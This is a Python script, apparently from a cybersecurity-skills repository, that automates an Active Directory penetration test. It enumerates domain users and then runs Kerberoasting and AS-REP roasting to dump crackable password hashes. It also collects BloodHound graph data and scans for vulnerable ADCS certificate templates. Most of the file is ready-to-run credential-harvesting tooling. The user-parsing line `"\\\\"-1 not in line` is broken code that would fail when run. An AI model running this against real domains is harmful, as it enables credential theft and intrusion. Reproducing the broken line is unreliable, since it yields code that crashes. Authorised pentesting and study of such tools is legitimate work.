mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-12 06:04:56 +03:00
182 lines
6.8 KiB
Python
182 lines
6.8 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Active Directory Penetration Test — Automation Process
|
|
|
|
Automates AD enumeration, Kerberos attack setup, and reporting.
|
|
Requires: impacket, bloodhound-python, netexec, ldap3.
|
|
|
|
Usage:
|
|
python process.py --domain corp.local --dc-ip 10.0.0.5 -u testuser -p Password123 --output ./results
|
|
"""
|
|
|
|
import subprocess
|
|
import json
|
|
import os
|
|
import argparse
|
|
import datetime
|
|
from pathlib import Path
|
|
|
|
|
|
def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
|
|
try:
|
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
|
return result.stdout, result.stderr, result.returncode
|
|
except subprocess.TimeoutExpired:
|
|
return "", f"Timed out after {timeout}s", -1
|
|
except FileNotFoundError:
|
|
return "", f"Not found: {cmd[0]}", -1
|
|
|
|
|
|
def enumerate_domain_users(domain: str, dc_ip: str, user: str, password: str,
|
|
output_dir: Path) -> list[str]:
|
|
"""Enumerate domain users via LDAP."""
|
|
print("[*] Enumerating domain users...")
|
|
stdout, stderr, rc = run_command(
|
|
["netexec", "smb", dc_ip, "-u", user, "-p", password, "-d", domain, "--users"]
|
|
)
|
|
users_file = output_dir / "domain_users.txt"
|
|
users = []
|
|
for line in stdout.splitlines():
|
|
if "\\\\"-1 not in line and domain.split(".")[0].upper() in line.upper():
|
|
parts = line.strip().split()
|
|
for part in parts:
|
|
if "\\" in part:
|
|
username = part.split("\\")[-1]
|
|
users.append(username)
|
|
with open(users_file, "w") as f:
|
|
f.write("\n".join(users))
|
|
print(f"[+] Found {len(users)} domain users")
|
|
return users
|
|
|
|
|
|
def get_spn_users(domain: str, dc_ip: str, user: str, password: str,
|
|
output_dir: Path) -> str:
|
|
"""Find Kerberoastable accounts."""
|
|
print("[*] Finding Kerberoastable service accounts...")
|
|
output_file = output_dir / "kerberoast_hashes.txt"
|
|
stdout, stderr, rc = run_command(
|
|
["impacket-GetUserSPNs", f"{domain}/{user}:{password}",
|
|
"-dc-ip", dc_ip, "-outputfile", str(output_file), "-request"]
|
|
)
|
|
if rc == 0:
|
|
print(f"[+] Kerberoast hashes saved to {output_file}")
|
|
else:
|
|
print(f"[-] Kerberoasting: {stderr[:200]}")
|
|
return str(output_file)
|
|
|
|
|
|
def get_asrep_users(domain: str, dc_ip: str, users_file: str,
|
|
output_dir: Path) -> str:
|
|
"""Find AS-REP Roastable accounts."""
|
|
print("[*] Finding AS-REP Roastable accounts...")
|
|
output_file = output_dir / "asrep_hashes.txt"
|
|
stdout, stderr, rc = run_command(
|
|
["impacket-GetNPUsers", f"{domain}/", "-usersfile", users_file,
|
|
"-dc-ip", dc_ip, "-outputfile", str(output_file), "-format", "hashcat"]
|
|
)
|
|
if rc == 0:
|
|
print(f"[+] AS-REP hashes saved to {output_file}")
|
|
return str(output_file)
|
|
|
|
|
|
def collect_bloodhound(domain: str, dc_ip: str, user: str, password: str,
|
|
output_dir: Path) -> None:
|
|
"""Run BloodHound data collection."""
|
|
print("[*] Collecting BloodHound data...")
|
|
stdout, stderr, rc = run_command(
|
|
["bloodhound-python", "-u", user, "-p", password,
|
|
"-d", domain, "-ns", dc_ip, "-c", "all", "--zip"],
|
|
timeout=600
|
|
)
|
|
if rc == 0:
|
|
print("[+] BloodHound data collected")
|
|
else:
|
|
print(f"[-] BloodHound: {stderr[:200]}")
|
|
|
|
|
|
def check_adcs(domain: str, dc_ip: str, user: str, password: str,
|
|
output_dir: Path) -> str:
|
|
"""Check for ADCS vulnerabilities."""
|
|
print("[*] Checking ADCS for vulnerable templates...")
|
|
output_file = output_dir / "adcs_findings.txt"
|
|
stdout, stderr, rc = run_command(
|
|
["certipy", "find", "-u", f"{user}@{domain}", "-p", password,
|
|
"-dc-ip", dc_ip, "-vulnerable", "-stdout"]
|
|
)
|
|
with open(output_file, "w") as f:
|
|
f.write(stdout)
|
|
if "ESC" in stdout:
|
|
print("[+] Vulnerable ADCS templates found!")
|
|
else:
|
|
print("[*] No vulnerable ADCS templates detected")
|
|
return str(output_file)
|
|
|
|
|
|
def generate_report(domain: str, output_dir: Path) -> str:
|
|
"""Generate AD pentest report."""
|
|
print("[*] Generating report...")
|
|
report_file = output_dir / "ad_pentest_report.md"
|
|
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
|
|
|
|
kerberoast_count = 0
|
|
kf = output_dir / "kerberoast_hashes.txt"
|
|
if kf.exists():
|
|
with open(kf) as f:
|
|
kerberoast_count = sum(1 for line in f if line.strip() and line.startswith("$krb5tgs$"))
|
|
|
|
asrep_count = 0
|
|
af = output_dir / "asrep_hashes.txt"
|
|
if af.exists():
|
|
with open(af) as f:
|
|
asrep_count = sum(1 for line in f if line.strip() and line.startswith("$krb5asrep$"))
|
|
|
|
with open(report_file, "w") as f:
|
|
f.write(f"# Active Directory Penetration Test Report\n\n")
|
|
f.write(f"**Domain:** {domain}\n")
|
|
f.write(f"**Generated:** {timestamp}\n\n---\n\n")
|
|
f.write("## Kerberos Attack Results\n\n")
|
|
f.write(f"- Kerberoastable accounts: **{kerberoast_count}**\n")
|
|
f.write(f"- AS-REP Roastable accounts: **{asrep_count}**\n\n")
|
|
f.write("## Recommendations\n\n")
|
|
f.write("1. Convert service accounts to Group Managed Service Accounts (gMSA)\n")
|
|
f.write("2. Enforce 25+ character passwords for remaining SPNs\n")
|
|
f.write("3. Enable Kerberos pre-authentication for all accounts\n")
|
|
f.write("4. Audit and remediate ADCS template vulnerabilities\n")
|
|
f.write("5. Implement tiered administration model\n")
|
|
f.write("6. Deploy monitoring for DCSync and Golden Ticket attacks\n")
|
|
|
|
print(f"[+] Report: {report_file}")
|
|
return str(report_file)
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="AD Pentest Automation")
|
|
parser.add_argument("--domain", required=True)
|
|
parser.add_argument("--dc-ip", required=True)
|
|
parser.add_argument("-u", "--username", required=True)
|
|
parser.add_argument("-p", "--password", required=True)
|
|
parser.add_argument("--output", default="./results")
|
|
args = parser.parse_args()
|
|
|
|
output_dir = Path(args.output)
|
|
output_dir.mkdir(parents=True, exist_ok=True)
|
|
|
|
print("=" * 60)
|
|
print(f" AD Penetration Test — {args.domain}")
|
|
print("=" * 60)
|
|
|
|
users = enumerate_domain_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
|
|
users_file = str(output_dir / "domain_users.txt")
|
|
|
|
get_spn_users(args.domain, args.dc_ip, args.username, args.password, output_dir)
|
|
get_asrep_users(args.domain, args.dc_ip, users_file, output_dir)
|
|
collect_bloodhound(args.domain, args.dc_ip, args.username, args.password, output_dir)
|
|
check_adcs(args.domain, args.dc_ip, args.username, args.password, output_dir)
|
|
generate_report(args.domain, output_dir)
|
|
|
|
print("\n[+] AD pentest automation complete")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|